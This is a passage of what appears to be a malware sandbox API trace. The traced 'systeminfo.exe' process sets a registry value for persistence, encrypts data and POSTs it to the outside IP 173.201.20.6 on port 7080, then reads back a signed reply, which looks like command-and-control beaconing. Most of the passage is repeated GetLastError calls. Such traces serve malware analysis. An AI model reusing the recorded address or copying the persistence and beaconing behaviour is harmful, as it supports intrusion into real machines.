returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.617] GetLastError () returned 0x0 [0085.618] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x290f4b8, lpdwBufferLength=0x290f4c0, lpdwIndex=0x0 | out: lpBuffer=0x290f4b8*, lpdwBufferLength=0x290f4c0*=0x4, lpdwIndex=0x0) returned 1 [0085.618] lstrlenA (lpString="just string") returned 11 [0085.618] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0085.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3a50, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3a50*, lpdwNumberOfBytesRead=0x290f4bc*=0x94) returned 1 [0085.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3ae4, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3ae4*, lpdwNumberOfBytesRead=0x290f4bc*=0x0) returned 1 [0085.619] GetLastError () returned 0x0 [0085.619] GetLastError () returned 0x0 [0085.619] wsprintfA (in: param_1=0x290f43f, param_2="%X%P" | out: param_1="77AA48P") returned 7 [0085.619] SetLastError (dwErrCode=0x0) [0085.619] GetCurrentProcessId () returned 0x81c [0085.619] GetCurrentProcessId () returned 0x81c [0085.619] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0085.619] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db7e8, Final=1, dwFlags=0x0, pbData=0x40c9d8, pdwDataLen=0x290f58c | out: pbData=0x40c9d8, pdwDataLen=0x290f58c) returned 1 [0085.619] CryptVerifySignatureW (hHash=0x3db7e8, pbSignature=0x33c3a50, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0085.619] CryptDestroyHash (hHash=0x3db7e8) returned 1 [0085.619] GetCurrentProcessId () returned 0x81c [0085.619] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0085.619] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0085.619] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0085.619] RegSetValueExW (in: hKey=0x3ac, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0085.619] RegCloseKey (hKey=0x3ac) returned 0x0 [0085.619] GetCurrentProcessId () returned 0x81c [0086.009] GetTickCount () returned 0x247a9 [0086.009] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x290f388, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0086.009] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0086.009] GetCurrentProcessId () returned 0x81c [0086.009] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0086.011] GetCurrentProcessId () returned 0x81c [0086.011] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.011] lstrlenA (lpString="just string") returned 11 [0086.011] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0086.011] GetLastError () returned 0x0 [0086.012] GetCurrentProcessId () returned 0x81c [0086.025] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0086.025] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db5e8, Final=1, dwFlags=0x0, pbData=0x40bf5c*, pdwDataLen=0x290f4b4*=0x23c, dwBufLen=0x240 | out: pbData=0x40bf5c*, pdwDataLen=0x290f4b4*=0x240) returned 1 [0086.025] GetCurrentProcessId () returned 0x81c [0086.025] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x290f444, pdwDataLen=0x290f4b0 | out: pbData=0x290f444*, pdwDataLen=0x290f4b0*=0x6c) returned 1 [0086.025] lstrlenA (lpString="just string") returned 11 [0086.025] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0086.025] CryptGetHashParam (in: hHash=0x3db5e8, dwParam=0x2, pbData=0x40bf48, pdwDataLen=0x290f4b0, dwFlags=0x0 | out: pbData=0x40bf48, pdwDataLen=0x290f4b0) returned 1 [0086.025] CryptDestroyHash (hHash=0x3db5e8) returned 1 [0086.025] GetLastError () returned 0x0 [0086.025] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x290f2b8, cbSize=0x290f4b8 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x290f4b8) returned 0x0 [0086.026] GetCurrentProcessId () returned 0x81c [0086.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x290f2b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0086.026] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0086.026] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0086.026] GetLastError () returned 0x0 [0086.026] GetCurrentProcessId () returned 0x81c [0086.026] GetCurrentProcessId () returned 0x81c [0086.026] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0086.027] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x40bee8*, dwOptionalLength=0x2b4 | out: lpOptional=0x40bee8*) returned 1 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.585] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.586] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.587] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.588] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.589] GetLastError () returned 0x0 [0086.591] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x290f570, lpdwBufferLength=0x290f4c8, lpdwIndex=0x0 | out: lpBuffer=0x290f570*, lpdwBufferLength=0x290f4c8*=0x4, lpdwIndex=0x0) returned 1 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.591] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.592] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.593] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.594] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.595] GetLastError () returned 0x0 [0086.596] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x290f4b8, lpdwBufferLength=0x290f4c0, lpdwIndex=0x0 | out: lpBuffer=0x290f4b8*, lpdwBufferLength=0x290f4c0*=0x4, lpdwIndex=0x0) returned 1 [0086.596] GetCurrentProcessId () returned 0x81c [0086.596] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3a50, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3a50*, lpdwNumberOfBytesRead=0x290f4bc*=0x94) returned 1 [0086.596] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3ae4, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3ae4*, lpdwNumberOfBytesRead=0x290f4bc*=0x0) returned 1 [0086.596] GetCurrentProcessId () returned 0x81c [0086.596] GetCurrentProcessId () returned 0x81c [0086.596] lstrlenA (lpString="just string") returned 11 [0086.596] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0086.596] GetLastError () returned 0x0 [0086.597] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0086.597] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db6a8, Final=1, dwFlags=0x0, pbData=0x33f7d68, pdwDataLen=0x290f58c | out: pbData=0x33f7d68, pdwDataLen=0x290f58c) returned 1 [0086.597] CryptVerifySignatureW (hHash=0x3db6a8, pbSignature=0x33c3a50, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0086.597] CryptDestroyHash (hHash=0x3db6a8) returned 1 [0086.597] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0086.597] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0086.597] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0086.597] RegSetValueExW (in: hKey=0x3b0, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0086.598] RegCloseKey (hKey=0x3b0) returned 0x0 [0086.598] GetLastError () returned 0x0 Thread: id = 47 os_tid = 0x874 Thread: id = 48 os_tid = 0x884 [0054.954] GetTickCount () returned 0x1ce94 [0055.952] GetTickCount () returned 0x1d27a [0056.950] GetTickCount () returned 0x1d661 [0057.949] GetTickCount () returned 0x1da47 [0058.947] GetTickCount () returned 0x1de2d [0059.946] GetTickCount () returned 0x1e214 [0060.944] GetTickCount () returned 0x1e5fa [0061.942] GetTickCount () returned 0x1e9e1 [0062.957] GetTickCount () returned 0x1edd7 [0063.955] GetTickCount () returned 0x1f1bd [0064.953] GetTickCount () returned 0x1f5a4 [0065.972] GetTickCount () returned 0x1f99a [0066.950] GetTickCount () returned 0x1fd70 [0068.447] GetTickCount () returned 0x2034a [0068.447] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2c3f930, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0068.447] _snwprintf (in: 